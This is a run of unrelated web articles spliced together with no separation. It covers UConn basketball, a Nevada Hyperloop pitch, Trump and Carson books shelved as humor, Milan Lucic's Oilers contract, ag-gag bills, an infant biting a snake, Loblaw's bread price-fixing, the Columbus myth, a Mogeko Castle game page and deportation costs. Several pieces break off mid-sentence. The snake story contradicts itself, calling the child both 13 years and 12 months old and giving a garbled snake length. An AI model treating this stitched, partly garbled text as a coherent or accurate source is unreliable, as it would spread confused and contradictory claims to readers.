Taurasi received many personal accolades at UConn including the 2003 and 2004 Naismith College Player of the Year awards, the 2003 Wade Trophy, the 2003 Associated Press Women's College Basketball Player of the Year award, the 2003 USBWA Women's National Player of the Year award and the 2004 Best Female Athlete ESPY Award. Taurasi was the third basketball player to receive this final honor, after former UConn star Rebecca Lobo and Tennessee star Chamique Holdsclaw. She achieved legendary status among UConn fans, and is widely considered one of the greatest players of all time.[33]
Rebuilding years (2005–2007) Edit
Relative to their high standards, UConn struggled during the first two years following Taurasi's graduation in 2004. Some of its highly touted recruits did not play up to expectations while others suffered injuries. Taken together during the three years 2005–2007, UConn never made a Final Four, something that has become almost routine (17 final fours in 22 years from 1995 to 2016).
The 2004–05 season was marked with sloppy play and ragged offense; UConn lost 8 games and failed to win the Big East regular season crown for the first time since 1993. In the NCAA tournament, UConn lost to Stanford in the Sweet Sixteen.[34]
In the 2005–06 season, UConn showed some signs of improvement, winning the Big East Tournament and beating Georgia in the Sweet Sixteen thanks to a fadeaway 3-pointer with 1.8 seconds left by senior Barbara Turner.[35] Behind a home state crowd, UConn almost upset #1 ranked Duke in the regional final, before falling in overtime by 2 points.[36]
In the 2006–07 season, the team improved with the additions of Renee Montgomery, Mel Thomas, Ketia Swanier, and the #1 ranked high school player Tina Charles, helping UConn emerge as a contender again. UConn was a #1 seed in the NCAA tournament, but eventually lost to LSU in the regional final to end the season with |
the literal pipe dream of Elon Musk, the inventor of the Hyperloop. The Hyperloop is currently slated to make its first American appearance in California, running between LA and San Francisco, but this isn’t the best place to test this technology. Nevada, on the other hand, is an ideal pilot state for the miraculous technology that is the Hyperloop.
The idea behind this lightning-fast new travel option is fairly straightforward. High-speed rail is fast, but it’s limited by friction and wind resistance. There are plenty of ways to minimize these issues like magnetic levitation and wind-tunnel-optimized design, but they can only go so far. This is where the aforementioned pipe comes in. If we could run trains through complete vacuums, wind resistance would be nothing, but a complete vacuum is extremely difficult to maintain. The Hyperloop concept utilizes a tube that is nearly a vacuum inside, producing dramatic results over a strictly outdoor train and making it much easier to maintain over hundreds of miles. Instead of tracks, the capsules proposed for the Hyperloop would be zooming around the loop powered by compressed air, a bit like the pneumatic tubes at a drive-up bank teller–just far, far more advanced.
The Hyperloop stands to enter the field of competition with air and rail, two services utilizing 50-year-old technology here in the U.S. Eccentric billionaire and owner of Tesla Motors Elon Musk’s Hyperloop can travel at speeds of up to 800 miles per hour. According to Elon himself, “Compared to the alternatives, it should ideally be:
Safer
Faster
Lower cost
More convenient
Immune to weather
Sustainably self-powering
Resistant to earthquakes
Not disruptive to those along the route”
There’s a lot more to say about how incredible the Hyperloop is, but the issue we’re driving at here is how incredible Nevada would be as a test state for the program. Back in April, the first Hyperloop was announced. The route, scheduled to open in July of 2015, will run from Tel Aviv to Eilat and only take about seven minutes. With the way the technology is designed, the Hyperloop can transport 100 people every thirty seconds, far exceeding even the world’s fastest transportation systems.
Elon Musk was inspired to create the Hyperloop because of the California high-speed rail debacle. The long story short there is that California just isn’t great at getting large-scale infrastructure projects done in a timely fashion. It took the Golden State nearly a generation just to repair the Bay Bridge. Because of permitting and environmental impact concerns, it could take a lot longer than that to get the high-speed rail completed, which is, again, why the Hyperloop was conceived (it being less expensive and easier to construct, in theory). California is relatively densely populated, particularly around the two urban centers the rail system and Hyperloop are both looking to connect, so it makes sense that things are getting bogged down.
In Nevada, though, we have more wide open space than we know what to do with. The path between Reno and Las Vegas is a beautiful desert, but it is most certainly an empty one–and at speeds of around 800mph, the journey would only take 30 minutes.
Leaving aside all of the shipping and standard business commuting than goes on between Nevada’s urban areas–notable in and of themselves–we have a massive tourism industry. According to the Nevada Commission on Tourism’s 2013 Nevada Tourism Insight report, “Tourism is Nevada’s no. 1 economic engine,” and in 2012 alone:Republican presidential candidates Donald Trump and Ben Carson released nonfiction books this year as they hit the campaign trail. But earlier this week, at the Barnes & Noble bookstore in Coral Gables, Florida, the books were shelved in an unconventional location: the "Humor" section.
At the store, Trump's "Crippled America" and Carson's "A More Perfect Union" shared a shelf with a "Hillary Clinton Haiku" book (subtitled "Her Rise to Power, Syllable by Syllable, Pantsuit by Pantsuit") and an Edward Scissorhands "Mad Libs" book.
The misplaced tomes drew immediate conservative attention to Barnes & Noble.
A Republican Senate staffer noticed the works on the shelf and tweeted about the "liberal bias" of the bookstore:
.@realDonaldTrump and @RealBenCarson in the humor section at Miami Barnes & Noble, clearly no liberal bias @BNBuzz. pic.twitter.com/4686nAi2ag — Robbie Myers (@robbievmyers) December 29, 2015
But as of Thursday, the books have been taken off the "Humor" shelf.
CBS News spoke to a customer service representative at the Coral Gables store who said the books had been removed from the location. The employee, who did not wish to be identified, said that it was "obviously a prank by a customer" and added that none of the Barnes & Noble staff were responsible for filing the books under that section.
Early Tuesday, Carson had responded to the shelving error on Fox News.
"There are a lot of people, particularly on the other side, who really have a very different philosophy of America," the former neurosurgeon, who lives in West Palm Beach, Florida, said. "And people like me are a real threat to them, and people like Donald Trump are a real threat to them."
"But you know, the American people are a lot smarter than these people think," he added. "They're not going to be manipulated as easy as they think they are."Signing with the Edmonton Oilers was no easy choice for Milan Lucic.
Related: McDavid fully on board with Oilers' addition of Lucic
The 28-year-old joined TSN 1040 on Wednesday, claiming that when it came down to it, almost 10 teams were bidding for his services.
"There were close to 10 teams that reached out and were really serious about me joining their team," said Lucic. "It was humbling that that many teams reached out and wanted me on their team. I’m not going to lie... it was a pretty cool feeling to have that many teams wanting you on their team.
"But also, it made things a lot (more) difficult. Especially talking to a lot of GMs and seeing what they had to offer and what they were proposing."
Ultimately, Lucic decided to sign a seven-year, $42-million deal with the Oilers, citing the opportunity to play with Connor McDavid, the chance to win, and his loyalty to Peter Chiarelli - who was acting general manager of the Boston Bruins when Lucic was a member of the team.
Related: Lucic hopes to bring swagger to Oilers and play with McDavid
"I just kind of went with my heart and what was right for me and my career to be the best that I could be moving forward, and give myself an opportunity to win," said Lucic. "That’s why I went with my heart and my loyalty to Peter and chose the Edmonton Oilers."
- With h/t to Today's SlapshotBig agribusiness is funding the Eco Terrorism Act
I’m always a bit sceptical when people claim that politicians are controlled by corporations. Generally speaking, I think Western governments are reasonably trustworthy. So the more I research the individuals and organizations behind the Animal and Ecological Terrorism Act, the more devastated I am by the blatant corruption I find.
For those who aren’t aware, various states across the US are introducing bills that would not only criminalize undercover filming of animal abuse in factory farms, but would also place the filmmakers on a terrorist list. When I first heard about this, I assumed there was another side to the story, or that these were exaggerations. But no, if you read the draft bill for yourself, you’ll see what madness it is. What worries me the most is that what starts in the US inevitably spreads to the rest of the world.
What is particularly disingenuous about these bills is that they contain exceptions for employees of the government. Apparently, if a factory farmworker becomes aware of animal abuse and films it on his phone, he should be branded a terrorist and fined or imprisoned, but if someone acting on behalf of local government does the filming, there’s absolutely nothing wrong with it. This is a bill that claims a certain act is inherently wrong, unfair and terrorist, but then lets you off if you’re not a hippie.
So who is behind these bills? Many of the documents contain wording very similar to the original draft written by the lawyers of the American Legislative Exchange Council (ALEC), a corporate lobby group posing as a non-profit, ‘non-partisan’ think tank. Until recently, ALEC managed to keep its methods and its membership secret; however, a leak followed by a Freedom of Information Act filing revealed that the organization drafts bills on behalf of transnational corporations, and persuades its legislative members (i.e. conservative Senators and Representatives) to introduce those bills. ALEC has secretly lobbied on behalf of the tobacco industry, the gun industry, and against minimum wage laws, all behind closed doors. The organization is effectively a dating agency which matches legislators looking for donations to their campaign funds with big businesses who want an influence on the law.
Bearing this in mind, it’s interesting to delve into details of the Senators and Representatives who have introduced bills designed to prevent the uncovering of animal abuse.
Such a bill has already been passed in Iowa. It’s worth noting that the Senate bill was introduced by Tom Reily, whose biggest corporate campaign donor in 2008 was the Iowa Farm Bureau. Discussion on the bill was led by Senator Joe Seng, who got a quarter of his 2010 campaign money from the agricultural sector. The bill was passed by Governor Bradstad, who got about a tenth of his previous campaign donations from the agriculture industry.
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In Pennsylvania, the bill was introduced by Representative Gary Haluska, whose biggest corporate campaign donor is the Pennsylvania Association Of Deer Farmers. In Arkansas, two similar bills which have just been passed into law were introduced by Senator Gary Stubblefield, whose biggest corporate campaign donor is Mountaire Corp, a huge factory-farming business. And in Missouri the bill was introduced by Representative Casey Guernsey whose biggest campaign donor is Smithfield Foods, the world’s largest pork producer and processor, where 25,000 pigs are slaughtered a day and armed guards keep the immigrant workforce in line.
Everything about these bills stink. Firstly, undercover footage has frequently uncovered illegal animal abuse at factory farms; secondly, these investigations often reveal the meat produced by these businesses is not safe for consumption; thirdly, these bills are clearly being paid for by big agribusiness in a thoroughly undemocratic way; and fourthly, they are a brazen curtailment of freedom of speech. From a broader perspective, this sets a dangerous precedent: you may not care about animal rights or food safety, but the passing of these bills is a green flag to all other industries which want to ban undercover investigations. Perhaps the arms industry will try next, or the lobbying industry, or politicians, or finance. What happens in the US affects the rest of the world, and there are already concerns in Britain that factory-farm businesses will try something similar. The endgame of this process is massive curtailment of freedom of speech, and it has to be stopped.
Photo: Matt MacGillvray under a CC LicenceIsraeli infant bites off snake's head
A 13-year-old boy saved his own life by biting off the snake's head. The heroic and yet unbelievable tale made the front pages of many newspapers in Israel.
The incident took place at night in the city of Shfaram, Vesti reports. A 35-long snake crawled into the child's room, but the boy, aged only 12 months, grabbed the reptile and started to bite its head.
When the boy approached the child, she saw her son chewing something. As soon as she realized that it was a snake, the woman began crying for help. However, the boy, Imad Gadir, was staying absolutely calm.
When the woman was pulling the half-chewed snake head out of the boy's mouth, the child burst into tears. The neighbors heard the screams and rushed to see what was happening there. They helped the woman take the boy to the hospital, Gazeta.Ru reports.
Doctors concluded as a result of examination that the boy's life was out of danger. According to Israeli media, the snake was venomous. Italian news agency ANSA rejects this statement saying that the child would not have survived otherwise.
Snake-catcher Eli Cohen said that he had never come across anything like this before. The reptile, a coin snake, was about three years old. Cohen said that the snake, which the child killed, was not venomous, although its bite could cause pain.Earlier this week, Loblaw Cos Ltd. and its parent company George Weston Ltd. admitted to participating in a 14-year price-fixing conspiracy that inflated the cost of bread on the shelves of nearly every major grocery chain in Canada.
While the companies acknowledged that what they did was wrong, they likewise applauded themselves for reporting the scheme “upon discovering this anti-competitive behaviour.” In the statement, the companies also let consumers know they’d be eligible for a $25 Loblaw gift certificate as reimbursement for their losses.
“That strikes us as very low,” says David Wingfield, a partner at Strosberg Sasso Sutts LLP., and one of two lawyers now leading a class action lawsuit that’s been filed against the parties implicated in the scheme. The claim, filed on behalf of a customer named Marcy David, seeks $1 billion in compensatory damages and another $100 million in punitive damages.
For its part, Loblaw said it will pay between $75 and $150 million in damages, depending on how many customers take it up on its gift card offer. “I think it’s unconscionable,” says Jay Strosberg, the other lawyer involved in the class action, who wagers that many customers would have forked over much more than $25 in unjustified fees over the years. Indeed, bread is a dietary staple—a mainstay on the weekly grocery list, which families pony up considerable money for over time.
Maclean’s crunched the numbers for several hypothetical scenarios to find how much someone might spend on bread over 14 years before and after price fixing. The findings, while speculative, reflect Wingfield and Strosberg’s assessment that $25 is woefully insufficient.
Take, for instance, the popular Loblaw bread brand Country Harvest as a theoretical case study. A loaf of bread is listed at $3.49. Say the company artificially raised costs by 10 per cent per loaf. After accounting for inflation, someone who purchased one loaf each week over the course of the 14 year scheme would be entitled to approximately $195.52—nearly eight times what Loblaw is offering. Or close to $400 for a family buying two loaves a week. For small businesses—cafes or restaurants—it’s easy to see how that cost can stretch into the thousands.
Of course, it’s possible Loblaw was more conservative in its gouging. Say it raised prices by just 5 per cent. Then, weekly bread-buyers would still be out $102.44. For the gift certificate concession to be proportionate to this hypothetical customer’s loss—that is, less than $25 dollars over 14 years—Loblaw could only have raised bread prices by about 1 per cent.
Wingfield says that’s highly unlikely. “It’s a lot of work to involve yourself in conspiracy over 14 years, says the lawyer, noting that the price hike likely accounted for “a fairly large percentage of bread prices. To do that for a nickel per loaf of bread—although it’s a lot of bread and the numbers do add up—it still seems to be a lot of work for a very small incremental cost,” he adds.
At this point, neither the company nor the Competition Bureau has said how much the price fixing inflated bread prices. “The card program cost should not be viewed as an estimate of damages,” Loblaw and George Weston said in their statement, adding, “The Companies’ cash balances far exceed any realistic damages scenario.”
Meanwhile, the legal duo cautions customers against racing to get their $25 gift card. Loblaw’s news release didn’t make clear whether accepting the gift card would preclude customers from joining the class action suit if it goes forward. “We’re concerned about that,” says Wingfield, while Strosberg notes, “The question is: Do you want to give away your right for a coupon?”
In an email to Maclean’s on Wednesday, Loblaw communications vice president Kevin Groh assured that people who accepted the gift card would still be able to participate in a suit. “Getting compensation in situations like this can take many years, while our $25 card will be available more immediately,” said Groh. “The card is an effort to show our customers that we take this issue and their trust seriously. All of the terms and conditions of the program will be clear when card registration begins January 8. Even if they accept our offer, customers can still receive additional compensation from us or any of the other retailers named in class action lawsuits.”
But many customers, like David, say the concession is too little too late. Since Tuesday, when Loblaw and George Weston effectively confirmed the conspiracy, Strosberg and Wingfield say they’ve heard from over 500 people expressing interest in joining the class.
Price fixing is punishable by 14 years in prison, a maximum $25 million fine, or both. Loblaw and George Weston managed to evade those penalties by disclosing the price fixing program to the Competition Bureau through its leniency and immunity program. Other companies found to be involved may not be so lucky.
Historically, though, charges for price fixing tend to be minor. In 2007, Cadbury tipped off the Competition Bureau to its involvement in a chocolate price fixing scheme with Nestlé, Mars, Hershey and retailer distributor ITWAL. After a drawn-out investigation, the charges against Mars and Nestlé were stayed, and Hershey, which pleaded guilty to price fixing, was handed a mere $4 million fine.
Another investigation launched in 2004 found companies in Quebec had conspired to jack up gas prices in four different cities. The Competition Bureau charged 39 individuals and 15 companies in the scheme. Only Les Petroles Global Inc. was fined—for $1 million—and six people were sentenced to 54 months in jail, none of whom served any time.
“It’s important that these things get unmasked and dealt with. And the leniency program is the best tool there is to accomplish that goal,” says Wingfield. That doesn’t mean culpable parties are absolved of responsibility. While perhaps not criminally liable, they still have to answer to the public.
“That’s where we come in,” Wingfield adds. “We make sure the people who have been damaged by the conspiracy are compensated for the affects. That’s how Loblaws in this case will get its comeuppance: It will have to pay money to consumers.”
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In 1892 The Youth’s Companion—a national magazine for kids edited by Francis Bellamy (the socialist minister better known for writing the Pledge of Allegiance)—offered its readers a program to celebrate the 400th anniversary of Christopher Columbus’s arrival in the New World. Every school in the nation, the magazine solemnly intoned, was to follow it to the letter. Ad Policy
Students and war veterans were to gather around the school flagpole at 9:30 am and begin by reading President Benjamin Harrison’s ode to Columbus, followed by the flag raising, the singing of “My Country ’Tis of Thee,” a Bible reading chosen by local religious dignitaries, and finally performing an original Columbus Day song commissioned for the occasion.
Columbus’s quadricentennial was 100 years in the making, and it would take nearly another century for a more critical and historically accurate picture of Columbus to creep into the American consciousness.
The American Revolution created the Columbus most of us over the age of 30 learned in grade school. Prior to the late 18th century, he was a historical footnote with no connection to the 13 colonies. An Italian, he sailed under a Spanish flag and landed in no part of the modern-day mainland United States. Yet when the need to develop a national history with no discernible connection to Britain arose during the Revolution, early Americans seized upon him. He was a blank slate on whom post-Revolution Americans could project the virtues they wanted to see in their new nation. Then, as now, the process of writing Columbus was one of defining what it means to be American. Related Article Some of the Exhibits at the Museum of Natural History Are… Not… Good… Michelle Chen
In 1775 Phillis Wheatley, a 14-year-old free African-American girl, wrote a poem to George Washington that so moved the general that he distributed it widely. In it “Columbia” was used as an allegorical representation of the American nation, no doubt a riff on the female figure of Britannia. Though written examples of “Columbia” as old as 1761 exist, young Wheatley’s correspondence with the most popular man in the colonies made it, in today’s parlance, go viral.
Soon Columbia and Columbus were appearing in songs, poems, and essays in newspapers around the colonies. Historian Claudia Bushman cataloged nearly 100 of the surviving odes, most of which are awful. Columbus went from a minor figure in the history of European exploration to an American hero almost overnight.
Why? Even then, people knew that Europeans, including Vikings and Portuguese fishing fleets, had visited or sighted North America before Columbus. And other explorers of Columbus’s era have better claims to “discovery” of the land that we now call the United States. But the politics of the Revolution disqualified the other contenders. Henry Hudson was British. Giovanni Caboto (anglicized as “John Cabot”) sailed for Britain. Juan Ponce de Leon was already in use as a hero in Spain. Giovanni da Verrazzano met an end unbefitting any proper national hero, having been eaten by Carib Indians in 1526. Current Issue View our current issue
Columbus had flaws as well. Until his death, he publicly insisted that he had in fact landed in East Asia as he originally intended. He was neither an especially talented mariner nor a success at founding a colony in the New World. Other than to allow him to begin bouncing around the Caribbean doing capricious and cruel things to its inhabitants, his famous voyage accomplished little.
Yet almost nothing was known about Columbus in the American colonies at the dawn of the Revolution, and this worked in his favor. The few written records of his voyages, including a biography by his son Ferdinand and a 16th-century history by Bartolome de Las Casas, were unavailable in the New World and were not translated into English until much later. The only detailed history of Columbus and his voyages widely available in colonial libraries was written by a Scotsman, James Robertson, in 1777. The author took a racist, ethnocentric tone, depicting Columbus as an explorer of noble intent bringing civilization to the savages. Importantly, Robertson also historicized Columbus as a man stifled by the rigid ways of the Old World and yearning to set his own course. The metaphor was not subtle, and revolutionary America embraced it.
Columbus-mania swept the nation beginning with the war, because he became, with the help of Robertson’s history and the flood of epic poems and odes to him, a symbol for the go-it-alone, trailblazing spirit of the American people. Adopting “Columbia” as an informal name for the budding nation implied that, like Columbus, the colonies were shedding the yoke of the Old World. Historical accuracy was irrelevant.
Towns and streets beyond counting, including state capitals in South Carolina (1786) and Ohio (1812), were named for him. In 1784, King’s College in New York City restyled itself Columbia University. Many publications—Columbian Magazine (1786), Columbian Museum (1791), the Columbian Register, the Columbian Weekly Register—appropriated his name. The political organization that eventually became the powerful Tammany Hall political machine in New York was founded in 1786 as the Columbian Order. In 1791, the Territory (later District) of Columbia was established as the national capital. A year later, Robert Gray, sailing the Columbia, scouted the Pacific Northwest, christened the Columbia River, and named the entire region Columbia (which survives north of the border today as British Columbia). And in 1798, Joseph Hopkinson wrote the original national anthem, “Hail Columbia.”
Two events conspired to ensure that the American affection for Columbus was no passing fad. First, Americans turned the tricentenary of Columbus’s 1492 voyage into a massive celebration. Statues and monuments began appearing around the country. New York, Boston, and Philadelphia all held parades led by costumed actors portraying Columbia and Christopher Columbus. Who better to lead the nation’s first opportunity to celebrate a history that was not connected to Britain and had not happened within living memory?
Rather than fade, the mythologization of Columbus only intensified. Joel Barlow’s epic (and nearly unreadable) poem The Columbiad (1807), for example, was narrated by an angel. Judging by the popularity of the poem, few at the time thought attributing divine guidance to Columbus (read: America) was overwrought.
The second key turning point in weaving Columbus into the fabric of American identity was the publication in 1828 of Washington Irving’s The Life and Voyages of Christopher Columbus. This stunningly inaccurate book purported to be a history and codified the version of Columbus who “sailed the ocean blue in fourteen hundred ninety-two” taught to generations of American children. Exemplary of Irving’s mythmaking was the mangling of Columbus’s motivation for the voyage of 1492. The real Columbus studied Portuguese sailors’ maps, concluded that Southeast Asia lay just beyond the map edges, and set out to prove it. Irving’s Columbus sailed to prove that the world was round, thumbing his nose at European elites who insisted it was flat. Throughout the book, Columbus is valiant, intrepid, and eager to shed Old Europe—not coincidentally, exactly the qualities the United States saw in itself.
But even compared to the late 18th century, nothing can match the Columbus Fever achieved in 1892–93 as the country celebrated the 400th anniversary of his voyage with the Chicago World’s Fair, the “Columbian Exposition.” No monument was too grand, no speech too florid or obsequious, and no projection of the nation’s desire to assert itself too obvious for the America of 1893. Francis Bellamy’s program for schools was, if anything, restrained by the standards of that year.
Eventually, time chipped away at this hero Columbus. Irving’s fables of 1828 remained in history books, oral traditions, and school curricula throughout the 20th century. But the legend began to share space with a growing, if still insufficient, recognition of the atrocities that Columbus inflicted upon the population of the Americas during the so-called Age of Exploration. His landing in 1492 was downgraded (appropriately) from a “discovery” to the more prosaic “encounter” or “exchange,” as Americans slowly admitted that the word “discovery” is a poor description of a man landing on an island where other people already lived.
More importantly, as more Americans have grown (slightly) more comfortable with confronting the darker aspects of history, discussion of Columbus’s enslaving, summarily killing, and dispossessing the populations he encountered rose above a whisper for the first time during the much-subdued 500th anniversary in 1992. Historians and cultural critics persuasively asserted that glorification is unbefitting a man who wrote, “Let us in the name of the Holy Trinity go on sending all the slaves that can be sold,” as he rounded up 1,500 Arawak inhabitants of the Lesser Antilles to sell them in Spain. Bartolome de Las Casas, in his 1561 account based on accounts from Columbus’s crew, depicted Columbus as a man for whom casual killing was a leisure activity. Once again Columbus was a surrogate, this time for an America making a clumsy and overdue effort to grapple with a shameful part of history.
Colonial Americans adopted Columbus as a cultural icon because of the practical need to construct a national historical identity that excluded Britain. Celebrating Columbus, for much of American history, has been an exercise in projecting onto him the virtues we would like to see in ourselves and our country.
Today, in an America learning to accept the Columbus legend as a hagiography, using Columbus as a national metaphor feels dated and naive. Only willful ignorance of the historical record can preserve him today as the enlightened voyager who discovered and brought blessings upon an unknown land.
But the real Columbus—not the constructed myth—should resonate in contemporary America. Columbus set off to find Asia, landed in the Caribbean, and, until his death, insisted in the face of overwhelming evidence that it really was Asia. Rather than celebrate what he did achieve, admit that fortune had something to do with his success, or recognize the horrors he wrought, he unapologetically defended himself and blamed any suggestion of failure or incompetence on others. Americans of the 18th century rescued the then-obscure Columbus from the history of European imperial conquest for political reasons unique to that era. They could not have known how perfect a cautionary tale the real Columbus would be for the United States of 2017.
Editor’s note: An earlier version of this article inaccurately described the location of Christopher Columbus’s arrival in the Americas. Though Puerto Rico is not within the continental United States, as a territory it is technically within modern-day US territory. The text has been corrected.WARNING:
Extreme violence, especially in bad endings.
Frequent references to sexual assault by the Mogekos.
Murder and death.
Mild swearing.
(Chrome may falsely flag the download as malicious, but it's safe to ignore.)
VX Ace Runtime Package (not VX) is required to play.
Download VX Ace Runtime Package (RTP) Installation of the RPG MakerRuntime Package (not VX) is required to play.
Supported Platforms
The game's engine is made for Windows only, with no native support for other platforms. To play on Mac, you can try a general-purpose tool like The game's engine is made forwith no native support for other platforms. To play on Mac, you can try a general-purpose tool like WineBottler
Usage Notes
Troubleshooting
Make sure to extract the game to its own folder instead of running directly from the ZIP file. If you don't do so, any saves made will be lost the next time you run the game.
If you extracted the ZIP but save data is still being erased, try running the game as an administrator. Without admin privileges, the game may not have permission to create save files.
"RPG Maker VX Ace RTP is not installed" means you need the RPG Maker VX Ace RTP. This is distinct from the VX RTP which other games may require. The download link is up above.
Screenshots
References
Door Maze
Middle, left, right, middle, middle.
Chase to Floor Seven
Keep going up at the first split, then up at the second, then right at the third.
Keep going until the next split and go right, then open the door at the end of the passage.
Go down at the split, and keep going to the door at the end.
Go down at the split, then quickly go through the door in the open area. Lastly, just keep going up.
Extras
Bad End 0
At the front door of the castle, choose to look for another way.
Bad End 1
Check the crazed Mogeko along the dark path on Floor 1.
Bad End 2
Enter the top-right door on the Bowel Path on Floor 2.
Bad End 3
Push the button to open the big cage on Floor 3.
Bad End 4
After Hasu's ascension on Floor 4, backtrack from Moge-ko's room.
Bad End 5
Touch the Blancfluff Mogeparasite in one of the rooms on Floor 5.
Bad End? 6
Outside the library, elope with Defect Mogeko.
Bad End 7
Get caught by Shinya.
Normal End
Kill at least one of the special Mogekos.
The Door of Truth will present you with the Path of Paradise.
True End
Either don't kill any of the special Mogekos, or continue after the normal end,
and choose the Path of Falsehood.
is a "prosciutto adventure game" made by Deep-Sea Prisoner in RPG Maker VX Ace. It's not an RPG - there are no battles, and the story is totally linear.Deep-Sea Prisoner rates this game(This rating is Japan-centric and would likely be more strict by other countries' standards;may be more appropriate.)It isand contains instances of, with the bad endings being some of the most severe parts. It also treats some serious topics like jokes, so I wouldif you think you may be upset by such content.everything portrayed here. Deep-Sea Prisoner insists players should "keep reality and fiction separate."(Content Severity:Posting playthrough videos or doing live streams of Deep-Sea Prisoner's works is forbidden. The sole exception to this is "translations in the form of a video," i.e. playing the game and live-translating to another language.Some have experiencedThere are many objects in that map, so it most likely occurs because lower-end computers aren't able to handle it. If it consistently crashes, download this save, copy it into the SAVE DATA folder, and load slot 20 to skip to after the chase.Though the game is quite straightforward, there are two parts in particular which require some trial and error. So I figured I'd be nice and give the answers here, if you want to "spoil" yourself.Also, there are some things you might miss. (Spoiler warning!)(These contain spoilers for all aspects of the game. Only read after you've beaten it fully.)With 19 debates and the State of the Union address behind us, we have heard a lot about immigration including President's call for immigration reform, Gingrich's immigration plan focusing on deporting criminal illegal immigrants, Romney's newest plan of self deportation and a discussion about who wants to deport more grandmas.
Yet the question that remains unanswered is, what would it cost to deport an undocumented grandma?
A year ago, Immigration and Customs Enforcement (ICE) deputy director Kumar Kibble told Congress it costs about $12,500 to deport an undocumented immigrant.
However, a 2010 report by Center for American Progress and Rob Paral and Associates took a close look at all the budget appropriations for ICE and broke down the costs per person for each one of the four stages of deportation process: apprehension, detention, legal proceeding and transportation. The whopping cost of deportation per person that they came up with is $23,480.
The report states that ICE and US Customs and Borders Protection budgets have increased by 80% since 2005, amounting to $17.1 billion in FY2010. If US were to undertake a mass deportation campaign its cost over five years would be $285 billion, which "would mean new taxes of $922 for every man, woman, and child in our country. $5,100 fewer dollars for the education of every public and private school student from prekindergarten to the 12th grade."
Here is the breakdown of the $23,480 figure:
1. Apprehension: $18,310
ICE 2008 budget for apprehensions was $1.24 billion and financed 67,728 apprehensions. That comes out to $18,310 per one apprehension. In some cases, cost per apprehension can be less:
In one enforcement operation in May 2008, the federal government spent $5.2 million from preparation to follow-up costs on a raid at the Agriprocessors Inc. slaughterhouse in Postville, Iowa, which led to the detention of 389 mostly undocumented immigrant workers.
In that case, cost per apprehension was $13,368.
Flickr/DIAC Images
2. Detention: $3,355
It costs $99 per bed and $12.82 per personnel (guards) a day to detain a deportee. According to the report, ICE has 32,000 beds in 350 facilities operated by governments or private contractors and 15,300 spaces in community-cased supervision program. These numbers exclude expenses associated with leasing state and local jail facilities. Deportees are on average detained for 30 days, bringing the detention cost to an average $3,355 per deportee.
3. Legal Proceedings: $817
The 2008 appropriations for processing of undocumented immigrants were $238.32 million, which was applied to 291,781 legal proceedings. The $817 per deportee is the most conservative estimate considering it is calculated using the number of cases initiated, rather than number of cases completed, and considering the fact that in 2008, it took on average two proceedings to achieve one deportation.
4. Transportation: $1,000
In 2007, ICE Assistant Secretary Julie Myers estimated $1,000 per person transportation cost for deportees.The report cited the Office of the Federal Detention Trustee that reported per person transportation cost for federal detainees, including deportees, to be $999 in 2008, and projected a $1,190 per person cost for 2011. Most undocumented immigrants from Mexico are transported back across the border by bus. Others are transported by plane by the ICE Detention and Removal Operations |
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